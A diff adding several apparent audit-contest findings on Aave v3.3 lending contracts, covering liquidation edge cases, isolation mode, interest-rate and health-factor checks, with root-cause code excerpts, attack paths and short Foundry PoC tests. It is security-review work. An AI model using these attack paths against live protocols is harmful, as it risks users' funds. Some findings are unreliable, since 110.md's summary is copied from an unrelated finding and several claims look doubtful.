unpaid, leading to liquidation. + +### Impact + +Affected Party: Users suffer direct financial loss from unmanaged stable-rate debt (e.g., liquidation penalties). +Loss Value: Up to 100% of the stable-rate debt position (if liquidated). + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import {Test} from "forge-std/Test.sol"; +import {WrappedTokenGatewayV3} from "../src/WrappedTokenGatewayV3.sol"; +import {IPool} from "../interfaces/IPool.sol"; + +contract Exploit is Test { + function testCannotRepayStableDebt() public { + // 1. User borrows WETH in stable-rate mode via Pool directly + address user = makeAddr("user"); + vm.prank(user); + IPool(pool).borrow(address(WETH), 1e18, 1, 0, user); // 1 = STABLE mode + + // 2. User tries to repay via WrappedTokenGatewayV3 + vm.prank(user); + wrappedGateway.repayETH{value: 1e18}(0, 1e18, user); // Fails to repay stable debt + } +} +``` + +### Mitigation + +1- Add an interestRateMode parameter to repayETH and borrowETH in WrappedTokenGatewayV3. +2- Remove hardcoding of VARIABLE and pass the user’s selected mode to the Pool. \ No newline at end of file diff --git a/108.md b/108.md new file mode 100644 index 0000000..138ef20 --- /dev/null +++ b/108.md @@ -0,0 +1,128 @@ +Chilly Lavender Pigeon + +Medium + +# Bad debt can be left on user account unintentionally + +### Summary + +If a user is about to liquidate a position and the maximum available Collateral is equal to the user's debt balance, there is a chance that some bad debt will remain on a user's account. + +### Root Cause + +When a user wants to liquidate a position he calls liquidationCall() function that forward a call to [executeLiquidationCall()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200). Here it update a reserve, get user account info and saves some local [variables](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L235): + +```solidity + vars.collateralAToken = IAToken(collateralReserve.aTokenAddress); + vars.userCollateralBalance = vars.collateralAToken.balanceOf(params.user); + vars.userReserveDebt = IERC20(vars.debtReserveCache.variableDebtTokenAddress).balanceOf( + params.user + ); + + vars.debtAssetPrice = IPriceOracleGetter(params.priceOracle).getAssetPrice(params.debtAsset); + vars.collateralAssetUnit = 10 ** collateralReserve.configuration.getDecimals(); + vars.debtAssetUnit = 10 ** vars.debtReserveCache.reserveConfiguration.getDecimals(); + + vars.userReserveDebtInBaseCurrency = + (vars.userReserveDebt * vars.debtAssetPrice) / + vars.debtAssetUnit; + + vars.userReserveCollateralInBaseCurrency = + (vars.userCollateralBalance * vars.collateralAssetPrice) / + vars.collateralAssetUnit; + + // by default whole debt in the reserve could be liquidated +@> uint256 maxLiquidatableDebt = vars.userReserveDebt; +``` + +Later it gets the base price of assets and check the health factor. In the middle of execution it calculates the actual ammount of collateral that should be liquidated in: + +```solidity + ( + vars.actualCollateralToLiquidate, + vars.actualDebtToLiquidate, + vars.liquidationProtocolFeeAmount, + vars.collateralToLiquidateInBaseCurrency + ) = _calculateAvailableCollateralToLiquidate( + collateralReserve.configuration, + vars.collateralAssetPrice, + vars.collateralAssetUnit, + vars.debtAssetPrice, + vars.debtAssetUnit, + vars.actualDebtToLiquidate, + vars.userCollateralBalance, + vars.liquidationBonus + ); +``` + +Here it calculates how much of a specific collateral can be liquidated, given a certain amount of debt asset. + +The problem is in the [if](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L650) statement: + +```solidity + vars.maxCollateralToLiquidate = vars.baseCollateral.percentMul(liquidationBonus); + + if (vars.maxCollateralToLiquidate > userCollateralBalance) { + vars.collateralAmount = userCollateralBalance; + vars.debtAmountNeeded = ((vars.collateralAssetPrice * vars.collateralAmount * debtAssetUnit) / + (debtAssetPrice * collateralAssetUnit)).percentDiv(liquidationBonus); + } else { + vars.collateralAmount = vars.maxCollateralToLiquidate; + vars.debtAmountNeeded = debtToCover; + } +``` + +`maxCollateralToLiquidate` is a total collateral to liquidate that is mean to be a disired by a user amount and a liquidation bonus. + +Later it checks the maxAmount againt the amount of user balance. + +If it is more than real balance it updates the `debtAmountNeeded`, othervise it remains the same, + +Right after the calculation it goes to a [check](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L325) for dust amount left: + +```solidity + if ( + vars.actualDebtToLiquidate < vars.userReserveDebt && + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount < + vars.userCollateralBalance + ) { + ... + } +``` + +Now let's imagine the sitatuation when `maxCollateralToLiquidate` will be equal to the user balance. The call will go to the `else` statement and leave the `debtAmountNeeded ` unchanged. + +Let's say users collateral balance is 1100 tokens (small amount for a better review), and a debt is 1100 tokens as well. A liquidator calculates that if he request for 1000 tokens to liquidate he'll get 1100 collateral tokens (1000 + 10% bonus). + +So after the calculation in the `_calculateAvailableCollateralToLiquidate()` we will skipp the check with: + +```solidity + (1000 < 1100 && 1100 < 1100) +``` + +here the check will return `false` and the check for a dust amount will be skipped. + +The rest of the function code will execute the flow succefuly as there is no check for actualDebtToLiquidate equality to userReserveDebt. + +That's how a dust amount can still remain on the user account. + + +### Impact + +Bad debts can be left on the user's account with no way to get rid of them later. + +### PoC + +_No response_ + +### Mitigation + +Consider fixing a check to: + +```solidity +if ( + vars.actualDebtToLiquidate < vars.userReserveDebt && + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount <= + vars.userCollateralBalance + ) {...} +``` \ No newline at end of file diff --git a/109.md b/109.md new file mode 100644 index 0000000..9924026 --- /dev/null +++ b/109.md @@ -0,0 +1,79 @@ +Chilly Lavender Pigeon + +Medium + +# User can be completely liquidated with health above 0.95 + +### Summary + +There is an edge case when a user with a healthFactor over 0.95 can be 100% liquidated with two attacer transactions. + +### Root Cause + +Base on a protocol properties there is a system for position liquidations: + +1. if a healthFactor drops below `1` a 50% of a position can be liquidated, +2. and it it drops below 0.95 a 100% of a position can be liquidated. + +There is a special validation [check](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L283) to fing out if a position it below 0.95: + +```solidity + // by default whole debt in the reserve could be liquidated + uint256 maxLiquidatableDebt = vars.userReserveDebt; + + // but if debt and collateral is above or equal MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD + // and health factor is above CLOSE_FACTOR_HF_THRESHOLD this amount may be adjusted + + if ( + vars.userReserveCollateralInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.userReserveDebtInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.healthFactor > CLOSE_FACTOR_HF_THRESHOLD + ) { + uint256 totalDefaultLiquidatableDebtInBaseCurrency = vars.totalDebtInBaseCurrency.percentMul( + DEFAULT_LIQUIDATION_CLOSE_FACTOR + ); +``` + +So if healthFactor is more than 0.95 and collateral/debt amount more than MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD (2000e8) only 50% of position can be liquidated: + +```solidity + /** + * @dev Default percentage of borrower's debt to be repaid in a liquidation. + * @dev Percentage applied when the users health factor is above `CLOSE_FACTOR_HF_THRESHOLD` + * Expressed in bps, a value of 0.5e4 results in 50.00% + */ + uint256 internal constant DEFAULT_LIQUIDATION_CLOSE_FACTOR = 0.5e4; +``` + +So I guess it is a chance for a user to add more collateral and increase the healthFactor to prevent any liquidation. + +However, this check can be bypassed with multiple function calls in the same transaction by the attacker to liquidate the 100% of the poisition evenn if the current healthFactor is over 0.95. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. 1. The attacker sees the desired debt position fall below HealthFactor 1, but it is still above 0.95; +2. He creates the transaction call with several liquidation calls in it. +3. Each time a liquidation occurs, the attacker receives a portion of the user's collateral position plus a bonus. +4. The balance of collateral/debt changes: there will be more debt tokens than collateral tokens; +5. Due to imbalance and liquidation: two situations can occur: 1. healthFactor falls below 0.95, 2. user collateral balance falls below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD. +6. Attacker receives 100% of liquidation position + +### Impact + +A user can be 100% liquidated even with a HealthFactor slightly below 1. + +### PoC + +_No response_ + +### Mitigation + +Consider adding a reentrancy guard to prevent multiple calls to the liquidation function. \ No newline at end of file diff --git a/110.md b/110.md new file mode 100644 index 0000000..30cd47b --- /dev/null +++ b/110.md @@ -0,0 +1,54 @@ +Chilly Lavender Pigeon + +Medium + +# Reserve cannot be initialised for same token on different chains + +### Summary + +There is an edge case when a user with a healthFactor over 0.95 can be 100% liquidated with two attacer transactions. + +### Root Cause + +According to the contest description, the protocol should work on the following chains: Ethereum, Base, Arbitrum, Avalanche, Optimism, Polygon, Metis, Gnosis, BNB chain, Scroll, Zksync Era. In some cases there may be a problem initialising a reserve for some tokens. + +A new reserve can be initialized after calling [executeInitReserve](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ConfiguratorLogic.sol#L48), where it sends a requets to get a decimal value of a token: + +```solidity + function executeInitReserve( + IPool pool, + ConfiguratorInputTypes.InitReserveInput calldata input + ) external { + // It is an assumption that the asset listed is non-malicious, and the external call doesn't create re-entrancies +@> uint8 underlyingAssetDecimals = IERC20Detailed(input.underlyingAsset).decimals(); + require(underlyingAssetDecimals > 5, Errors.INVALID_DECIMALS); +... +} +``` + +`Decimals` is an optional parameter to implement in a token contract, so it may be present in one chain and be absent in another. +So in some cases the function will revert. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +A reserve may not be initialized on some chains for some tokens. + +### PoC + +_No response_ + +### Mitigation + +Consider using a try/catch construction to check the call returns a value or revert. \ No newline at end of file diff --git a/111.md b/111.md new file mode 100644 index 0000000..1f49d6d --- /dev/null +++ b/111.md @@ -0,0 +1,47 @@ +Chilly Lavender Pigeon + +Medium + +# Liquidators may not have sufficient incentive to liquidate positions + +### Summary + +Liquidators may not have sufficient incentive to liquidate users for some unbalanced positions if there is insufficient bonus collateral to cover the debt. + +### Root Cause + +A liquidation is a special system for a lending protocol to give its users enough incentive to liquidate bad positions by offering them some bonus tokens. Othervise users will refuse to cover protocol debt. + +When a liquidation happens a user offer some of his tokens to cover the debt in exchange of a user collateral plus bonus tokens. + +After the first liquidation, the positions might be imbalanced: more debt tokens and less collateral tokens. And with every liquidation transaction the difference between collateral/debt tokens increase. + +The protocol has a specail system to prevent any dust tokens by implementing [MIN_LEFTOVER_BASE](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L83). This means that if the amount of collateral/debt tokens is less than this, a liquidator should close 100% of the position. + +There may be a situation where both collateral and debt tokens are slightly above MIN_LEFTOVER_BASE, but there is not enough bonus collateral for the user to have an incentive to liquidate the position. + +In this way debt will remain on the protocol as no users will want to liquidate it. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Positions will not be liquidated and a bad debt remains on the protocol. + +### PoC + +_No response_ + +### Mitigation + +It's hard to offer the best choice for this question, and I can only think of the next one. Consider an additional check for a remaining debt amount to have enough bonus tokens to close the position. The position should be liquidated for 100% if there is no bonus collateral left after the liquidation. \ No newline at end of file diff --git a/112.md b/112.md new file mode 100644 index 0000000..10f9ffc --- /dev/null +++ b/112.md @@ -0,0 +1,86 @@ +Quick Plastic Crane + +High + +# Exponential Influence on Borrower Debt Due to Variable Interest Rate Changes + +### Summary + +The protocol allows borrowers to influence the debt repayment amount of other borrowers by impacting the `variableBorrowIndex` variable. This index increases with additional borrow actions, leading to increased interest on outstanding loans. This behavior can be exploited by malicious actors or even the protocol itself for financial gain. + +### Root Cause + +The root cause lies in the design of the protocol's variable interest rate model, which dynamically adjusts the `variableBorrowIndex` based on the total borrowing activity in the pool. When additional borrowers take loans, the `variableBorrowIndex` rises, which directly increases the effective debt and accrued interest for all borrowers. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +- Borrower A: A user (victim) borrows a certain amount from the protocol and accrues interest based on the current `variableBorrowIndex`. +- Borrower B: A malicious actor borrows a large amount or repeatedly triggers borrowing actions to artificially increase the `variableBorrowIndex`. +- Impact on Borrower A: The increased `variableBorrowIndex` results in Borrower A's debt increasing exponentially over time, as their debt calculations are based on this index. +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L186-L188 + +### Impact + +1. **Increased Debt for Borrowers:** Honest borrowers face significantly increased repayment obligations, making borrowing unsustainable. +2. **Griefing Attack:** A malicious borrower could intentionally borrow to grief another borrower, especially one with a smaller loan amount. This could lead to the victim incurring unreasonably high interest. +3. **Protocol Exploitation:** The protocol benefits from higher interest payments, which could incentivize them to overlook or even exploit this behavior for financial gain. + + +### PoC +paste into tests/protocol/pool/Pool.Repay.t.sol + +```solidity +function test_mytest1() public { + uint256 amount = 200e6; + uint256 borrowAmount = 150e6; + vm.startPrank(alice); + + contracts.poolProxy.supply(tokenList.usdx, amount, alice, 0); + uint256 tokenBalanceBefore = usdx.balanceOf(alice); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.warp(block.timestamp + 10 days); + + contracts.poolProxy.repay(tokenList.usdx, UINT256_MAX, 2, alice); + vm.stopPrank(); + + uint256 tokenBalanceAfter = usdx.balanceOf(alice); + //Alice paid interest when Carol didnt borrow + uint alicePaidInterest1 = tokenBalanceBefore - tokenBalanceAfter; + + ///////////////////////////////////////////////////////////////////////// + + tokenBalanceBefore = usdx.balanceOf(alice); + vm.startPrank(alice); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.stopPrank(); + + //CAROL BORROW TX + vm.startPrank(carol); + contracts.poolProxy.borrow(tokenList.usdx, 80_000e6, 2, 0, carol); + vm.stopPrank(); + + vm.warp(block.timestamp + 10 days); + + vm.startPrank(alice); + contracts.poolProxy.repay(tokenList.usdx, UINT256_MAX, 2, alice); + vm.stopPrank(); + + tokenBalanceAfter = usdx.balanceOf(alice); + //Alice paid interest when Carol borrowed + uint alicePaidInterest2 = tokenBalanceBefore - tokenBalanceAfter; + + console.log('ADDITIONS', alicePaidInterest1, alicePaidInterest2); //0.000547, 1.743102 + } +``` + +### Mitigation + + Decouple individual borrower interest calculations from the global `variableBorrowIndex`, possibly by introducing borrower-specific indexes. \ No newline at end of file diff --git a/113.md b/113.md new file mode 100644 index 0000000..18dc244 --- /dev/null +++ b/113.md @@ -0,0 +1,74 @@ +Eager Shadow Lobster + +High + +# The flawed validation logic in validateUseAsCollateral will cause a denial-of-service risk for isolation mode users + +High + +# The flawed validation logic in validateUseAsCollateral will cause a denial-of-service risk for isolation mode users + +### Summary + +The flawed validation logic in validateUseAsCollateral will cause a denial-of-service risk for isolation mode users as the protocol will prevent them from enabling their isolated asset as collateral, leading to unexpected liquidations. + +### Root Cause + +In ValidationLogic.sol, the validateUseAsCollateral function incorrectly blocks isolated assets from being enabled as collateral for users in isolation mode. Specifically, the line : [ValidationLogic.sol:608](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L608) +```solidity +return (!isolationModeActive && reserveConfig.getDebtCeiling() == 0); +``` +fails to differentiate between the user’s isolated asset and other assets, resulting in a blanket rejection of collateral activation. + +### Internal Pre-conditions + +1- User Configuration: The user must be in isolation mode for a specific asset (e.g., Asset X). +2- Collateral Activation Attempt: The user attempts to enable Asset X (their isolated asset) as collateral. + +### External Pre-conditions + +None. This is a protocol-level logic flaw + +### Attack Path + +1- User Enters Isolation Mode: The user borrows an isolated asset (e.g., GHO) and enters isolation mode. +2- User Attempts Collateral Activation: The user calls setUseReserveAsCollateral to enable their isolated asset as collateral. +3- Validation Fails: validateUseAsCollateral returns false due to the flawed logic, blocking the action. + +### Impact + +Affected Party : Users in isolation mode. + +Loss : Users cannot use their isolated asset as collateral, leading to: +- Inability to improve their health factor +- Increased risk of liquidation due to undercollateralization + +### PoC + +1- User Enters Isolation Mode: +Borrows an isolated asset (e.g., GHO) and enters isolation mode. + +2- Attempt to Enable Collateral: +Calls setUseReserveAsCollateral to enable the isolated asset (GHO) as collateral. + +3- Validation Fails: +validateUseAsCollateral returns false because isolationModeActive = true, blocking the action. + +The [executeBorrow](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60) function does not auto-enable the isolated asset as collateral, and the validateUseAsCollateral logic incorrectly blocks manual activation + +### Mitigation + +Modify validateUseAsCollateral to explicitly allow isolated assets when the user is in isolation mode : +```solidity + function validateUseAsCollateral(...) internal view returns (bool) { + if (reserveConfig.getLtv() == 0) return false; + if (!userConfig.isUsingAsCollateralAny()) return true; + (bool isolationModeActive, , ) = userConfig.getIsolationModeState(...); +- return (!isolationModeActive && reserveConfig.getDebtCeiling() == 0); ++ if (userConfig.isIsolated()) { ++ return (asset == userConfig.getIsolatedAsset()); ++ } ++ return (reserveConfig.getDebtCeiling() == 0); + } +``` +This ensures users in isolation mode can enable their isolated asset while blocking others \ No newline at end of file diff --git a/114.md b/114.md new file mode 100644 index 0000000..a8993e5 --- /dev/null +++ b/114.md @@ -0,0 +1,157 @@ +Shambolic Ginger Sparrow + +High + +# Borrowing can negatively impact a user's well-being. + + +## Summary +The missing check of `health factor` after borrowing will cause an unhealthy state for users as they can be liquidated just after borrowing or the protocol will suffer from bad debt. + +## Root Cause +- In [`BorrowLogic.sol#executeBorrow()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60-L141) function, `health factor` is checked before borrowing, not after borrowing. +```solidity + function executeBorrow( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ExecuteBorrowParams memory params + ) external { + DataTypes.ReserveData storage reserve = reservesData[params.asset]; + DataTypes.ReserveCache memory reserveCache = reserve.cache(); + + reserve.updateState(reserveCache); + + ( + bool isolationModeActive, + address isolationModeCollateralAddress, + uint256 isolationModeDebtCeiling + ) = userConfig.getIsolationModeState(reservesData, reservesList); + +-> ValidationLogic.validateBorrow( + reservesData, + reservesList, + eModeCategories, + DataTypes.ValidateBorrowParams({ + reserveCache: reserveCache, + userConfig: userConfig, + asset: params.asset, + userAddress: params.onBehalfOf, + amount: params.amount, + interestRateMode: params.interestRateMode, + reservesCount: params.reservesCount, + oracle: params.oracle, + userEModeCategory: params.userEModeCategory, + priceOracleSentinel: params.priceOracleSentinel, + isolationModeActive: isolationModeActive, + isolationModeCollateralAddress: isolationModeCollateralAddress, + isolationModeDebtCeiling: isolationModeDebtCeiling + }) + ); + ....................................... + } +``` +[`ValidationLogic.sol#validateBorrow()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L137-L278) function is as follows. +```solidity + function validateBorrow( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.ValidateBorrowParams memory params + ) internal view { + require(params.amount != 0, Errors.INVALID_AMOUNT); + .................................................... + + ( + vars.userCollateralInBaseCurrency, + vars.userDebtInBaseCurrency, + vars.currentLtv, + , +-> vars.healthFactor, + + ) = GenericLogic.calculateUserAccountData( + reservesData, + reservesList, + eModeCategories, + DataTypes.CalculateUserAccountDataParams({ + userConfig: params.userConfig, + reservesCount: params.reservesCount, + user: params.userAddress, + oracle: params.oracle, + userEModeCategory: params.userEModeCategory + }) + ); + + require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); + require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); + + require( + vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, + Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD + ); + + ..................................................... + } +``` +As we can see above, the calculation of `health factor` does not consider `borrow amount`. + +## Internal pre-conditions +1. User needs to call `executeBorrow` to borrow an amount. +2. `health factor` is checked before borrowing, not after. + +## External pre-conditions +1. User's collateral value must be sufficient before borrowing. +2. Market conditions remain unchanged during the borrowing process. + +## Attack Path +1. User calls `executeBorrow` to borrow an amount. +2. `health factor` is validated before the borrow transaction. +3. Borrow transaction completes without re-evaluating `health factor`. +4. User's `health factor` becomes unhealthy post-borrow. + +## Impact +The protocol suffers from potential bad debt or users can be liquidated immediately after borrowing. + +## Mitigation +We have to modify `BorrowLogic.sol#executeBorrow()` function as follows. +```solidity + function executeBorrow( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ExecuteBorrowParams memory params + ) external { + DataTypes.ReserveData storage reserve = reservesData[params.asset]; + DataTypes.ReserveCache memory reserveCache = reserve.cache(); + + ........................................... + + if (params.releaseUnderlying) { + IAToken(reserveCache.aTokenAddress).transferUnderlyingTo(params.user, params.amount); + } + ++ ValidationLogic.validateHFAndLtv( ++ reservesData, ++ reservesList, ++ eModeCategories, ++ userConfig, ++ params.asset, ++ params.onBehalfOf, ++ params.reservesCount, ++ params.oracle, ++ params.userEModeCategory ++ ); + + emit Borrow( + params.asset, + params.user, + params.onBehalfOf, + params.amount, + DataTypes.InterestRateMode.VARIABLE, + reserve.currentVariableBorrowRate, + params.referralCode + ); + } +``` diff --git a/115.md b/115.md new file mode 100644 index 0000000..612467e --- /dev/null +++ b/115.md @@ -0,0 +1,138 @@ +Shambolic Ginger Sparrow + +High + +# Incorrect isolated debt update during liquidation will cause wrong isolated mode information for users. + + +## Summary +Updating isolated debt after collateral is removed will cause incorrect isolated mode information for users as the protocol will update isolated debt even if the user is not isolated after liquidation. + +## Root Cause +- In [`LiquidationLogic.sol#executeLiquidationCall()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200-L434) function. +As you can see there, isolated debt is updated after the collateral is removed. +```solidity + function executeLiquidationCall( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(address => DataTypes.UserConfigurationMap) storage usersConfig, + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.ExecuteLiquidationCallParams memory params + ) external { + LiquidationCallLocalVars memory vars; + ......................................... + + // If the collateral being liquidated is equal to the user balance, + // we set the currency as not being used as collateral anymore + if ( + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount == + vars.userCollateralBalance + ) { +-> userConfig.setUsingAsCollateral(collateralReserve.id, false); + emit ReserveUsedAsCollateralDisabled(params.collateralAsset, params.user); + } + + bool hasNoCollateralLeft = vars.totalCollateralInBaseCurrency == + vars.collateralToLiquidateInBaseCurrency; + _burnDebtTokens( + vars.debtReserveCache, + debtReserve, + userConfig, + params.user, + params.debtAsset, + vars.userReserveDebt, + vars.actualDebtToLiquidate, + hasNoCollateralLeft + ); + + // IsolationModeTotalDebt only discounts `actualDebtToLiquidate`, not the fully burned amount in case of deficit creation. + // This is by design as otherwise debt debt ceiling would render ineffective if a collateral asset faces bad debt events. + // The governance can decide the raise the ceiling to discount manifested deficit. +-> IsolationModeLogic.updateIsolatedDebtIfIsolated( + reservesData, + reservesList, + userConfig, + vars.debtReserveCache, + vars.actualDebtToLiquidate + ); + + ......................................... + } +``` + +## Internal pre-conditions +1. User needs to have collateral in isolated mode. +2. User needs to have debt in isolated mode. + +## External pre-conditions +1. Liquidation process needs to be triggered. + +## Attack Path +1. User's collateral is liquidated. +2. Collateral is removed, and isolated debt is updated incorrectly. + +## Impact +The protocol will suffer from incorrect isolated mode information, causing wrong checks of isolated debt ceiling due to incorrect isolated debt. + +## Mitigation +We have to modify `LiquidationLogic.sol#executeLiquidationCall()` function as follows. +```solidity + function executeLiquidationCall( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(address => DataTypes.UserConfigurationMap) storage usersConfig, + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.ExecuteLiquidationCallParams memory params + ) external { + LiquidationCallLocalVars memory vars; + ............................................ + ++ // IsolationModeTotalDebt only discounts `actualDebtToLiquidate`, not the fully burned amount in case of deficit creation. ++ // This is by design as otherwise debt debt ceiling would render ineffective if a collateral asset faces bad debt events. ++ // The governance can decide the raise the ceiling to discount manifested deficit. ++ IsolationModeLogic.updateIsolatedDebtIfIsolated( ++ reservesData, ++ reservesList, ++ userConfig, ++ vars.debtReserveCache, ++ vars.actualDebtToLiquidate ++ ); + + + // If the collateral being liquidated is equal to the user balance, + // we set the currency as not being used as collateral anymore + if ( + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount == + vars.userCollateralBalance + ) { + userConfig.setUsingAsCollateral(collateralReserve.id, false); + emit ReserveUsedAsCollateralDisabled(params.collateralAsset, params.user); + } + + bool hasNoCollateralLeft = vars.totalCollateralInBaseCurrency == + vars.collateralToLiquidateInBaseCurrency; + _burnDebtTokens( + vars.debtReserveCache, + debtReserve, + userConfig, + params.user, + params.debtAsset, + vars.userReserveDebt, + vars.actualDebtToLiquidate, + hasNoCollateralLeft + ); + +- // IsolationModeTotalDebt only discounts `actualDebtToLiquidate`, not the fully burned amount in case of deficit creation. +- // This is by design as otherwise debt debt ceiling would render ineffective if a collateral asset faces bad debt events. +- // The governance can decide the raise the ceiling to discount manifested deficit. +- IsolationModeLogic.updateIsolatedDebtIfIsolated( +- reservesData, +- reservesList, +- userConfig, +- vars.debtReserveCache, +- vars.actualDebtToLiquidate +- ); + + .............................................. + } +``` diff --git a/116.md b/116.md new file mode 100644 index 0000000..df523e0 --- /dev/null +++ b/116.md @@ -0,0 +1,198 @@ +Shambolic Ginger Sparrow + +High + +# Burning bad debts will update interest rates incorrectly for the protocol. + + +## Summary +Incorrect updating of interest rates when burning bad debt will cause a disruption in the protocol's interest logic for users as the system will incorrectly adjust the rates. + +## Root Cause +In [`LiquidationLogic.sol#executeLiquidationCall()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200-L434), the function burns bad debts when there is no remaining collateral. + +```solidity + function executeLiquidationCall( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(address => DataTypes.UserConfigurationMap) storage usersConfig, + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.ExecuteLiquidationCallParams memory params + ) external { + LiquidationCallLocalVars memory vars; + ............................................ + + // burn bad debt if necessary + // Each additional debt asset already adds around ~75k gas to the liquidation. + // To keep the liquidation gas under control, 0 usd collateral positions are not touched, as there is no immediate benefit in burning or transferring to treasury. + if (hasNoCollateralLeft && userConfig.isBorrowingAny()) { +-> _burnBadDebt(reservesData, reservesList, userConfig, params.reservesCount, params.user); + } + + // Transfers the debt asset being repaid to the aToken, where the liquidity is kept +-> IERC20(params.debtAsset).safeTransferFrom( + msg.sender, + vars.debtReserveCache.aTokenAddress, + vars.actualDebtToLiquidate + ); + + IAToken(vars.debtReserveCache.aTokenAddress).handleRepayment( + msg.sender, + params.user, + vars.actualDebtToLiquidate + ); + + emit LiquidationCall( + params.collateralAsset, + params.debtAsset, + params.user, + vars.actualDebtToLiquidate, + vars.actualCollateralToLiquidate, + msg.sender, + params.receiveAToken + ); + } +``` + +Here, the [`_burnBadDebt()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L691-L725) function is as follows. + +```solidity + function _burnBadDebt( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + uint256 reservesCount, + address user + ) internal { + for (uint256 i; i < reservesCount; i++) { + if (!userConfig.isBorrowing(i)) { + continue; + } + + address reserveAddress = reservesList[i]; + if (reserveAddress == address(0)) { + continue; + } + + DataTypes.ReserveData storage currentReserve = reservesData[reserveAddress]; + DataTypes.ReserveCache memory reserveCache = currentReserve.cache(); + if (!reserveCache.reserveConfiguration.getActive()) continue; + + currentReserve.updateState(reserveCache); + +-> _burnDebtTokens( + reserveCache, + currentReserve, + userConfig, + user, + reserveAddress, + IERC20(reserveCache.variableDebtTokenAddress).balanceOf(user), + 0, + true + ); + } + } +``` + +Additionally, the [`_burnDebtTokens()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L528-L596) function is as follows. + +```solidity + function _burnDebtTokens( + DataTypes.ReserveCache memory debtReserveCache, + DataTypes.ReserveData storage debtReserve, + DataTypes.UserConfigurationMap storage userConfig, + address user, + address debtAsset, + uint256 userReserveDebt, + uint256 actualDebtToLiquidate, + bool hasNoCollateralLeft + ) internal { + // Prior v3.1, there were cases where, after liquidation, the `isBorrowing` flag was left on + // even after the user debt was fully repaid, so to avoid this function reverting in the `_burnScaled` + // (see ScaledBalanceTokenBase contract), we check for any debt remaining. + if (userReserveDebt != 0) { + 